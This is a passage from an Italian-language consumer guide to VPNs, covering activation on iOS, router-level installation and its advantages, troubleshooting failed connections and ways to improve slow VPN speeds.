VPN, necessarie affinché il traffico internet possa essere instradato attraverso i server del provider. Autorizzando la richiesta, il profilo verrà aggiunto automaticamente e il sistema sarà pronto per gestire le connessioni VPN in modo sicuro e trasparente. Dopo aver selezionato un server e avviato la connessione, iOS mostrerà un’icona “VPN” nella barra di stato, segnalando che la connessione protetta è attiva. Da questo momento, tutte le comunicazioni in entrata e in uscita saranno criptate e passeranno attraverso il tunnel sicuro stabilito dalla VPN. In qualsiasi momento sarà possibile disconnettersi dall’interno dell’app oppure tramite le impostazioni generali del dispositivo, dove è presente una voce dedicata alla gestione delle connessioni VPN. Installare una VPN direttamente sul router rappresenta una soluzione centralizzata e molto efficace per proteggere tutti i dispositivi connessi alla rete domestica o aziendale, senza la necessità di configurare ogni singolo device. Questa opzione è particolarmente utile in ambienti in cui si utilizzano dispositivi che non supportano nativamente l’installazione di app VPN, come smart TV, console di gioco, dispositivi IoT o decoder. Il principio di base è che, configurando la VPN a livello di router, l’intera rete locale viene instradata attraverso il tunnel crittografato, rendendo anonimo e sicuro il traffico proveniente da ogni dispositivo collegato. Per procedere con l’installazione, è fondamentale verificare innanzitutto che il proprio router supporti nativamente le connessioni VPN. Alcuni modelli recenti, in particolare quelli marchiati Asus, Netgear o Linksys, includono già un’interfaccia grafica che permette la configurazione di protocolli come OpenVPN o WireGuard. In alternativa, è possibile installare firmware personalizzati come DD-WRT, Tomato o OpenWRT, che aggiungono funzionalità avanzate, tra cui proprio il supporto VPN. L’installazione di questi firmware, però, richiede maggiore dimestichezza tecnica e va eseguita con attenzione, poiché eventuali errori potrebbero compromettere il funzionamento del router. Una volta verificata la compatibilità, si può accedere al pannello di amministrazione del router digitando il relativo indirizzo IP nel browser, solitamente 192.168.1.1 o 192.168.0.1, ed effettuando il login con le credenziali di amministratore. All’interno del pannello, si accede alla sezione dedicata alla VPN, dove è possibile caricare il file di configurazione fornito dal proprio provider. Questo file contiene tutti i parametri necessari per stabilire la connessione, compresi l’indirizzo del server, le chiavi di autenticazione e le opzioni crittografiche. Dopo aver completato la configurazione e salvato le impostazioni, sarà sufficiente attivare la connessione VPN dal pannello del router. Una volta stabilita, tutti i dispositivi collegati, sia via Wi-Fi che tramite cavo Ethernet, inizieranno a navigare sotto la protezione della VPN, senza alcuna configurazione aggiuntiva da parte degli utenti. Il vantaggio principale di questo approccio è l’automazione: la VPN resterà attiva anche quando il router viene riavviato o quando nuovi dispositivi si connettono alla rete, garantendo una protezione continua. Questa soluzione è ideale non solo per chi desidera massimizzare la sicurezza della rete, ma anche per utenti che vogliono accedere a contenuti geo-limitati su dispositivi che non supportano app VPN, come alcune smart TV. Va tuttavia considerato che instradare tutto il traffico attraverso il router può ridurre leggermente la velocità di connessione, specialmente se il router ha un processore poco potente. Per questo motivo, è consigliabile utilizzare router di fascia medio-alta o modelli progettati appositamente per il traffico VPN. Installare una VPN direttamente sul router offre numerosi vantaggi, soprattutto in contesti in cui si desidera proteggere in modo continuo e centralizzato l’intera rete domestica o aziendale. Il principale beneficio consiste nel fatto che tutti i dispositivi connessi al router, siano essi computer, smartphone, tablet, console di gioco, smart TV o dispositivi IoT, vengono automaticamente instradati attraverso la connessione VPN, senza dover installare o configurare manualmente applicazioni su ciascuno di essi. Questo approccio semplifica enormemente la gestione della sicurezza, soprattutto in ambienti con numerosi device o in famiglie in cui non tutti gli utenti hanno familiarità con la tecnologia. Un ulteriore vantaggio è la protezione automatica e costante della connessione. A differenza delle VPN installate su singoli dispositivi, che richiedono l’attivazione manuale o rischiano di essere disattivate per errore, una VPN installata sul router resta attiva finché il dispositivo è acceso e connesso. Questo garantisce un livello di sicurezza elevato e continuo, utile in particolare per chi desidera una protezione costante da tracciamenti, attacchi informatici o censura geografica. Dal punto di vista della privacy, questa configurazione consente di mantenere nascosto l’indirizzo IP reale di ogni dispositivo della rete, presentando al mondo esterno un unico indirizzo IP, ovvero quello assegnato dal server VPN. Questo rafforza l’anonimato e rende più difficile il tracciamento delle attività individuali online. Inoltre, configurare la VPN sul router permette anche di accedere a contenuti geo-limitati da dispositivi che normalmente non supportano l’uso di VPN, come ad esempio molte smart TV o dispositivi per lo streaming. Infine, l’installazione centralizzata riduce anche il carico operativo e i consumi di risorse sui singoli dispositivi, poiché è il router a gestire il processo di cifratura e instradamento del traffico. Questo può tradursi in un miglioramento delle prestazioni su device meno potenti e, al tempo stesso, semplifica enormemente la manutenzione, poiché eventuali modifiche o aggiornamenti della configurazione VPN si effettuano una sola volta, direttamente sul router, senza dover ripetere l’operazione su ogni singolo terminale. Durante l’installazione di una VPN, soprattutto se si è alle prime armi, possono emergere alcuni problemi comuni che rallentano o impediscono la configurazione corretta. Uno dei più frequenti è rappresentato dall’impossibilità di completare la connessione al server VPN, situazione che si verifica spesso quando il software client non riesce a stabilire un tunnel sicuro con l’infrastruttura del provider. In questo caso, è importante innanzitutto verificare che la propria connessione Internet sia attiva e stabile, poiché una rete lenta o intermittente può bloccare la fase di handshake crittografico necessaria per iniziare la comunicazione. Se la connessione di base funziona, il problema potrebbe dipendere dal server selezionato, che potrebbe essere temporaneamente offline o congestionato. Cambiare server manualmente, scegliendone uno meno trafficato o più vicino geograficamente, risolve nella maggior parte dei casi. Un’altra causa frequente di malfunzionamento riguarda il blocco da parte di software di sicurezza locali, come antivirus, firewall o antimalware, che a volte identificano il traffico VPN come potenzialmente sospetto. In questi casi, è utile disattivare temporaneamente il firewall o aggiungere un’eccezione specifica per il client VPN nelle impostazioni del programma di protezione. Alcuni provider VPN offrono anche una modalità “stealth” o “camouflage”, che rende il traffico criptato meno riconoscibile dai filtri automatici e ne facilita il passaggio su reti restrittive, come quelle scolastiche, aziendali o pubbliche. In altri casi, l’ostacolo può essere legato al protocollo scelto per la connessione. I client VPN moderni supportano solitamente più protocolli, come OpenVPN, WireGuard, IKEv2 o L2TP/IPSec, ognuno dei quali ha caratteristiche tecniche diverse. Alcuni protocolli, per esempio OpenVPN su UDP, possono essere bloccati da determinati provider Internet o da router con impostazioni conservative. Cambiare protocollo dalle impostazioni avanzate dell’app, passando da UDP a TCP o scegliendo WireGuard, spesso sblocca la situazione e consente il corretto funzionamento della VPN. Anche l’obsolescenza del software può generare errori: un client VPN non aggiornato potrebbe essere incompatibile con gli ultimi aggiornamenti del sistema operativo o con i server del provider. In questi casi, è sufficiente scaricare l’ultima versione dell’app dal sito ufficiale o dallo store dedicato e reinstallarla. Allo stesso modo, un sistema operativo non aggiornato può causare problemi di compatibilità con i certificati di sicurezza o con i driver di rete, ed è quindi consigliabile mantenere il dispositivo sempre aggiornato. Infine, in fase di installazione manuale su router o tramite configurazioni personalizzate è possibile incorrere in errori nella compilazione dei parametri come indirizzi server errati, porte bloccate o certificati incompleti. In queste situazioni, è utile consultare la documentazione ufficiale del provider VPN, confrontare le impostazioni con un tutorial verificato o contattare il supporto tecnico. Quando una VPN non riesce a connettersi, la prima cosa da fare è individuare se il problema dipende dalla rete locale, dal dispositivo, dal software VPN o dal provider stesso. Inizia sempre verificando che la connessione Internet funzioni correttamente senza VPN: se anche la navigazione normale è assente o instabile, la causa non è il servizio VPN ma un’interruzione o un problema tecnico del tuo operatore. Se invece la rete funziona e la VPN continua a non connettersi, allora è utile cambiare server, selezionandone uno alternativo tra quelli offerti dal provider. Talvolta i server possono risultare sovraccarichi o temporaneamente offline per manutenzione. Se il cambio di server non risolve, entra nelle impostazioni del client VPN e prova a modificare il protocollo di connessione. Molti provider consentono di passare da WireGuard a OpenVPN o a IKEv2, e questa semplice variazione spesso consente di superare eventuali blocchi imposti da reti aziendali, scolastiche o da provider che limitano specifici tipi di traffico. Se il problema persiste, valuta la possibilità che un antivirus o firewall installato sul tuo dispositivo stia bloccando la connessione. In quel caso, potresti disattivare temporaneamente questi software o creare un’eccezione per il client VPN nelle loro impostazioni. In alcuni contesti particolarmente restrittivi, come reti Wi-Fi pubbliche in hotel o aeroporti, oppure reti universitarie, può essere necessario attivare la modalità offuscata (spesso chiamata “obfuscated mode” o “stealth mode”) disponibile in molti client VPN avanzati. Questa funzione camuffa il traffico VPN per farlo sembrare normale traffico HTTPS e superare eventuali sistemi di filtraggio. Se stai usando la VPN su un router o tramite configurazione manuale, assicurati che i file di configurazione siano corretti, aggiornati e compatibili con il server scelto. Controlla anche che le porte richieste siano aperte nel router e che non ci siano restrizioni impostate dal firewall locale. Come ulteriore verifica, prova a connetterti da un altro dispositivo, oppure utilizza una connessione mobile per escludere che il problema sia legato alla tua rete principale. Infine, se nessuna di queste soluzioni funziona, consulta la documentazione ufficiale del tuo provider VPN o contatta il servizio clienti: molti offrono assistenza 24 ore su 24 e possono analizzare il log della connessione per identificare rapidamente l’origine del malfunzionamento. Quando la velocità della VPN risulta lenta è importante considerare diversi fattori che possono influenzare le prestazioni e intervenire in modo mirato per migliorarle. Uno dei primi elementi da esaminare è la distanza geografica dal server scelto. Connettersi a un server molto lontano, ad esempio in un altro continente, comporta un maggior numero di nodi di rete attraversati e quindi una latenza più alta. Per ottimizzare la velocità, è consigliabile selezionare un server geograficamente vicino o lasciar decidere automaticamente al client quale sia il nodo più performante in quel momento, se il provider offre questa funzione. Anche il tipo di protocollo utilizzato incide notevolmente. Alcuni protocolli, come WireGuard, sono progettati per offrire un’elevata velocità con un consumo minimo di risorse, mentre altri, come OpenVPN in modalità TCP, sono più sicuri ma meno efficienti sul piano della velocità. Se il client VPN lo consente, è utile sperimentare con protocolli diversi per trovare il miglior equilibrio tra sicurezza e prestazioni, scegliendo, ad esempio, WireGuard per streaming o download, e IKEv2 per la mobilità su rete mobile. Un altro elemento che può rallentare la connessione è la congestione dei server. In determinate fasce orarie, molti utenti possono connettersi contemporaneamente agli stessi nodi, provocando un sovraccarico. In questi casi, cambiare manualmente server, anche restando nello stesso Paese, può portare a un miglioramento significativo. Va poi considerata la qualità della propria rete locale. Una connessione Wi-Fi instabile, interferenze con altri dispositivi o una larghezza di banda ridotta possono impattare negativamente sull’esperienza VPN. Passare temporaneamente a una connessione via cavo Ethernet o posizionarsi più vicino al router può aiutare a stabilizzare la velocità. Anche il carico di lavoro del dispositivo gioca un ruolo: se si stanno eseguendo contemporaneamente più applicazioni che consumano banda, come upload automatici sul cloud o videochiamate, la VPN avrà meno risorse a disposizione. Chiudere i programmi non essenziali o pianificare attività pesanti al di fuori delle sessioni VPN permette di mantenere le prestazioni elevate. Alcuni provider consentono inoltre di configurare uno split tunneling, ossia la possibilità di instradare solo una parte del traffico attraverso la VPN: utilizzare questa funzione per limitare il traffico cifrato solo a specifiche app può ridurre notevolmente il carico. Infine, è utile verificare che il software VPN sia aggiornato all’ultima versione disponibile. Gli aggiornamenti spesso includono ottimizzazioni del motore di connessione e correzioni di bug che potrebbero compromettere la velocità. Se dopo aver seguito tutti questi passaggi la connessione continua a essere insoddisfacente, è opportuno contattare il servizio di assistenza del provider VPN per valutare eventuali limiti legati al piano sottoscritto o alla rete del fornitore.